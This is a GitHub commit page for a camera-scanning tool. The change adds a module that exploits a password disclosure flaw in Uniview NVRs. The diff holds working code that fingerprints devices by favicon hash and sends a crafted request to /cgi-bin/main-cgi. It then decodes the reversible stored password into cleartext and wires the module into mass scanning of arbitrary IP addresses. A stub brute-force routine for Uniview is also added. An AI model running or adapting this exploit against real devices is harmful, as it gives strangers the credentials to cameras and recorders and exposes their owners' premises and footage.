Skip to content

Commit

Permalink
Merge pull request jorhelp#12 from jorhelp/dev
Browse files Browse the repository at this point in the history
add uniview passwd disclosure module, all code are reviewed, bugs fixed, can be mergeed.
  • Loading branch information
jorhelp authored Aug 6, 2022
2 parents fc81f17 + f32488b commit 0c8c5a1
Show file tree
Hide file tree
Showing 5 changed files with 67 additions and 15 deletions.
2 changes: 2 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -190,6 +190,8 @@ python3 -Bu show/show_rtsp/show_all.py OUT_DIR/results_all.csv

+ [2022-08-05] **Added CVE-2021-33045 (Dahua NVR), but the snapshot function is not always available because the NVR device's account&password may be different from the real camera**

+ [2022-08-06] **Added password disclosure module for Uniview camera, does not support snapshot yet**


## Disclaimer

Expand Down
2 changes: 2 additions & 0 deletions README_CN.md
Original file line number Diff line number Diff line change
Expand Up @@ -190,6 +190,8 @@ python3 -Bu show/show_rtsp/show_all.py OUT_DIR/results_all.csv

+ [2022-08-05] **增加了 CVE-2021-33045(Dahua NVR),不过由于NVR设备的账号密码与真正的摄像头的账号密码可能不一致,所以快照功能并不总是有效**

+ [2022-08-06] **增加了 Uniview 设备的密码暴露模块,暂不支持快照**


## 免责声明

Expand Down
1 change: 1 addition & 0 deletions run_ingram.py
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,7 @@ def get_parser():
parser.add_argument('--cve_2021_33045', action='store_true')
parser.add_argument('--cve_2017_7921', action='store_true')
parser.add_argument('--cve_2020_25078', action='store_true')
parser.add_argument('--uniview_disclosure', action='store_true')
parser.add_argument('--th_num', type=int, default=80, help='the processes num')
parser.add_argument('--nosnap', action='store_false', help='do not capture the snapshot')

Expand Down
75 changes: 60 additions & 15 deletions scan/modules.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@
import time
import hashlib
import requests
from xml.etree import ElementTree

CWD = os.path.dirname(__file__)
sys.path.append(os.path.join(CWD, '..'))
Expand All @@ -16,32 +17,32 @@
DEV_HASH = {
'4ff53be6165e430af41d782e00207fda': 'dahua',
'89b932fcc47cf4ca3faadb0cfdef89cf': 'hikvision',
'f066b751b858f75ef46536f5b357972b': 'cctv'
'f066b751b858f75ef46536f5b357972b': 'cctv',
'1536f25632f78fb03babedcb156d3f69': 'uniview-nvr',
'c30a692ad0d1324389485de06c96d9b8': 'uniview-dev', # not perfect, removed
}
#=============================================================


def device_type(ip: str) -> list:
"""Check whether the ip is a web camera"""
url_list = [
f"http://{ip}/favicon.ico", # hikvision, cctv
f"http://{ip}/favicon.ico", # hikvision, cctv, uniview-nvr
f"http://{ip}/image/lgbg.jpg", # Dahua
# f"http://{ip}/skin/default_1/images/logo.png", # uniview-dev
f"http://{ip}", # dlink
]
# these are need to be hashed
for url in url_list[:-1]:
try:
r = requests.get(url, timeout=TIMEOUT, verify=False)
if r.status_code == 200:
hash_val = hashlib.md5(r.content).hexdigest()
if hash_val in DEV_HASH: return DEV_HASH[hash_val]
except: pass
# not hash
try:
r = requests.get(url_list[0], timeout=TIMEOUT, verify=False)
if r.status_code == 200:
hash_val = hashlib.md5(r.content).hexdigest()
if hash_val in DEV_HASH: return DEV_HASH[hash_val]
except: pass
try:
r = requests.get(url_list[1], timeout=TIMEOUT, verify=False)
if r.status_code == 200:
hash_val = hashlib.md5(r.content).hexdigest()
if hash_val in DEV_HASH: return DEV_HASH[hash_val]
except: pass
try:
r = requests.get(url_list[2], timeout=TIMEOUT, verify=False)
r = requests.get(url_list[-1], timeout=TIMEOUT, verify=False)
if 'realm="DCS' in str(r.headers): return 'dlink'
except: pass

Expand Down Expand Up @@ -259,6 +260,47 @@ def cctv_weak(ip: str, users: list=USERS, passwords: list=PASSWORDS) -> list:
return [False, ]


# not perfect
def uniview_weak(ip: str, users: list=USERS, passwords: list=PASSWORDS) -> list:
"""(Uniview) Brute"""
passwords = set(passwords + ['123456', 'admin'])
headers = {'User-Agent': get_user_agent()}
for user in users:
for p in passwords:
pass


def uniview_disclosure(ip: str) -> list:
"""(Uniview) NVR password disclosure"""

def passwd_decoder(passwd):
code_table = {'77': '1', '78': '2', '79': '3', '72': '4', '73': '5', '74': '6', '75': '7', '68': '8', '69': '9',
'76': '0', '93': '!', '60': '@', '95': '#', '88': '$', '89': '%', '34': '^', '90': '&', '86': '*',
'84': '(', '85': ')', '81': '-', '35': '_', '65': '=', '87': '+', '83': '/', '32': '\\', '0': '|',
'80': ',', '70': ':', '71': ';', '7': '{', '1': '}', '82': '.', '67': '?', '64': '<', '66': '>',
'2': '~', '39': '[', '33': ']', '94': '"', '91': "'", '28': '`', '61': 'A', '62': 'B', '63': 'C',
'56': 'D', '57': 'E', '58': 'F', '59': 'G', '52': 'H', '53': 'I', '54': 'J', '55': 'K', '48': 'L',
'49': 'M', '50': 'N', '51': 'O', '44': 'P', '45': 'Q', '46': 'R', '47': 'S', '40': 'T', '41': 'U',
'42': 'V', '43': 'W', '36': 'X', '37': 'Y', '38': 'Z', '29': 'a', '30': 'b', '31': 'c', '24': 'd',
'25': 'e', '26': 'f', '27': 'g', '20': 'h', '21': 'i', '22': 'j', '23': 'k', '16': 'l', '17': 'm',
'18': 'n', '19': 'o', '12': 'p', '13': 'q', '14': 'r', '15': 's', '8': 't', '9': 'u', '10': 'v',
'11': 'w', '4': 'x', '5': 'y', '6': 'z'}
decoded = []
for char in passwd.split(';'):
if char != "124" and char != "0": decoded.append(code_table[char])
return ''.join(decoded)

headers = {'User-Agent': get_user_agent()}
url = f"http://{ip}" + '/cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1}"'
r = requests.get(url, headers=headers, verify=False, timeout=TIMEOUT)
if r.status_code == 200 and r.text:
tree = ElementTree.fromstring(r.text)
items = tree.find('UserCfg')
user, passwd = items[0].get('UserName'), passwd_decoder(items[0].get('RvsblePass'))
return [True, user, passwd, 'Uniview', 'passwd disclosure']
return [False, ]


modules = {
'device_type': device_type,

Expand All @@ -277,6 +319,9 @@ def cctv_weak(ip: str, users: list=USERS, passwords: list=PASSWORDS) -> list:

# dlink
'cve_2020_25078': cve_2020_25078,

# uniview
'uniview_disclosure': uniview_disclosure,
}


Expand Down
2 changes: 2 additions & 0 deletions scan/scanner.py
Original file line number Diff line number Diff line change
Expand Up @@ -165,6 +165,8 @@ def scan(self, ip_term: str):
if 'cctv_weak' in self.modules: found |= self.scan_meta(ip, 'cctv_weak')
elif dev_type == 'dlink':
if 'cve_2020_25078' in self.modules: found |= self.scan_meta(ip, 'cve_2020_25078')
elif dev_type == 'uniview-nvr':
if 'uniview_disclosure' in self.modules: found |= self.scan_meta(ip, 'uniview_disclosure')

if not found and dev_type != 'unidentified':
save_res([ip, dev_type], os.path.join(self.args.out_path, RESULTS_FAILED))
Expand Down

0 comments on commit 0c8c5a1

Please sign in to comment.